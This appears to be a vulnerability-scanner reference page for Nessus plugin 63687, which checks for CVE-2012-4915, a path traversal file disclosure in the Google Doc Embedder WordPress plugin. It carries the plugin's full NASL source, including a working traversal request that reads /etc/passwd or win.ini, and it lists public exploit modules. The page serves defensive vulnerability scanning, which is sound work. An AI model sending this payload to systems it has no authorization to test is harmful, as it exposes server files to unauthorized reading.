Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure - Nessus

Medium Plugin ID: 63687

This page contains detailed information about the Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 63687
Name: Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure
Filename: wordpress_google_doc_embedder_file_disclosure.nasl
Vulnerability Published: 2013-01-03
This Plugin Published: 2013-01-24
Last Modification Time: 2021-01-19
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information

Severity: Medium
Vulnerability Published: 2013-01-03
Patch Published: 2012-12-11
CVE [?]: CVE-2012-4915
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP script that is affected by a file disclosure vulnerability.

Description

The Google Doc Embedder Plugin for WordPress installed on the remote host is affected by a file disclosure vulnerability due to a failure to properly sanitize user-supplied input to the 'file' parameter of the 'libs/pdf.php' script. This vulnerability could allow an unauthenticated, remote attacker to read arbitrary files by forming a request containing directory traversal sequences.

Solution

Upgrade to Google Doc Embedder version 2.5 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure vulnerability:

Metasploit: exploit/unix/webapp/wp_google_document_embedder_exec
[WordPress Plugin Google Document Embedder Arbitrary File Disclosure]
Exploit-DB: exploits/php/webapps/23970.rb
[EDB-23970: WordPress Plugin Google Document Embedder - Arbitrary File Disclosure (Metasploit)]
GitHub: https://github.com/CERTCC/git_vul_driller
[CVE-2012-4915]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:N/A:N/E:F/RL:OF/RC:C

CVSS Base Score:	5.0 (Medium)
Impact Subscore:	2.9
Exploitability Subscore:	10.0
CVSS Temporal Score:	4.1 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	4.1 (Medium)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(63687);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-4915");
  script_bugtraq_id(57133);

  script_name(english:"Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure");
  script_summary(english:"Attempts to read a local file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a file
disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Google Doc Embedder Plugin for WordPress installed on the remote
host is affected by a file disclosure vulnerability due to a failure
to properly sanitize user-supplied input to the 'file' parameter of
the 'libs/pdf.php' script. This vulnerability could allow an
unauthenticated, remote attacker to read arbitrary files by forming a
request containing directory traversal sequences.");
  # http://ceriksen.com/2013/01/03/wordpress-google-document-embedder-arbitrary-file-disclosure/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?369b2772");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Google Doc Embedder version 2.5 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress Plugin Google Document Embedder Arbitrary File Disclosure');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/03");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/12/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = 'Google Doc Embedder';

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  path = "/wp-content/plugins/";
  checks[path + "google-document-embedder/js/editor_plugin.js"][0] =
    make_list("longname : 'Google Doc Embedder'");

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed)
  audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) files = make_list('windows/win.ini', 'winnt/win.ini');
  else files = make_list('etc/passwd');
}
else files = make_list('etc/passwd', 'windows/win.ini', 'winnt/win.ini');

file_pats = make_array();
file_pats['etc/passwd'] = "root:.*:0:[01]:";
file_pats['winnt/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['windows/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";

foreach file (files)
{
  url = "/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=foo.pdf"+
    "&file=" + mult_str(str:"../", nb:12) + file;

  res = http_send_recv3(
    method    : "GET",
    item      : dir + url,
    port         : port,
    exit_on_fail : TRUE
  );

  if (egrep(pattern:file_pats[file], string:res[2]))
  {
    if (report_verbosity > 0)
    {
      snip =  crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      report =
        '\nNessus was able to verify the issue exists using the following request :' +
        '\n' +
        '\n' + install_url + url +
        '\n';
      if (report_verbosity > 1)
      {
        res[2] = data_protection::redact_etc_passwd(output:res[2]);
        report +=
          '\n' + 'This produced the following output :' +
          '\n' +
          '\n' + snip +
          '\n' + chomp(res[2]) +
          '\n' + snip +
          '\n';
      }
      security_warning(port:port, extra:report);
    }
    else security_warning(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/wordpress_google_doc_embedder_file_disclosure.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_google_doc_embedder_file_disclosure.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/wordpress_google_doc_embedder_file_disclosure.nasl

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How to Run

Here is how to run the Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure plugin ID 63687.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_google_doc_embedder_file_disclosure.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_google_doc_embedder_file_disclosure.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_google_doc_embedder_file_disclosure.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_google_doc_embedder_file_disclosure.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

57133

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_google_doc_embedder_file_disclosure.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

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Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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